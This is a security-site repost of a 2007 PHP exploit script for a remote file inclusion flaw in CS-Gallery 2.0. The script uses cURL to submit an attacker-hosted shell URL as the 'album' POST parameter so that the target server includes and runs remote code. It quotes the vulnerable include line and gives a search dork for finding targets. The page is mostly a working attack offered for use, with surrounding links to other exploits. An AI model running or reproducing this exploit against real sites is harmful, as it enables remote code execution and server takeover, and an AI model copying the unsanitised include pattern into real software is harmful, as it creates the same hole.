首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CS-Gallery 2.0 (index.php album) Remote File Include Exploit
来源:http://www.cschneider.de 作者:burncycle 发布时间:2007-02-26  
<?php

//File Inclusion Exploit for CS_Gallery <= 2.0
//Found and Exploit Coded by burncycle - burncycle[(at)]hotmail[(dot)]de
//|
//Vendor: http://www.cschneider.de/
//Dork: . www.cschneider.info
//|
//Bug in "index.php":
//..
//$codefile=$_POST['album'].'/code.php';
//include $codefile;
//..
//|
//Usage: php exploit.php [pathtoscript] [pathtoshell]
//Example: php exploit.php http://pathtoscript.com/cs_gallery/(index.php?todo=securealbum) http://pathtoshell.com/(code.php)
//|
//Needs the cURL extension of PHP
//Works regardless of PHP settings

//Nur ausnahme Fehler anzeigen
error_reporting(1);

echo "Usage: php ".$_SERVER["argv"][0]." [pathtoscript] [pathtoshell]\r\n\r\n";
echo "Example: php ".$_SERVER["argv"][0]." http://pathtoscript.com/cs_gallery/(index.php?todo=securealbum) http://pathtoshell.com/(code.php)\r\n\r\n";

//Schauen ob alles angegeben wurde
if(!empty($_SERVER["argv"][1]) && !empty($_SERVER["argv"][2]))
{

$pathtoscript = $_SERVER["argv"][1];
$pathtoshell = $_SERVER["argv"][2];

//erzeuge ein neues cURL Handle
$ch = curl_init();

//setzte die URL und andere Optionen
curl_setopt($ch, CURLOPT_URL, $pathtoscript."index.php?todo=securealbum");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "album=".$pathtoshell);

//f.hre die Aktion aus
curl_exec($ch);

//schlie.e das Handle und gebe Systemresourcen frei
curl_close($ch);

}

?>

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Coppermine Photo Gallery 1.3.x
·phpBB Module NoMoKeTos Rules 0
·Extreme phpBB 3.0.1 (functions
·News Rover 12.1 Rev 1 Remote S
·STWC-Counter <= 3.4.0 (downloa
·Oracle 10g ACTIVATE_SUBSCRIPTI
·Oracle 10g KUPW$WORKER.MAIN SQ
·Drupal < 4.7.6 (post comments)
·Oracle 10g KUPV$FT.ATTACH_JOB
·Drupal < 5.1 (post comments) R
·Oracle 9i/10g DBMS_METADATA.GE
·Jupiter CMS 1.1.5 Remote File
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved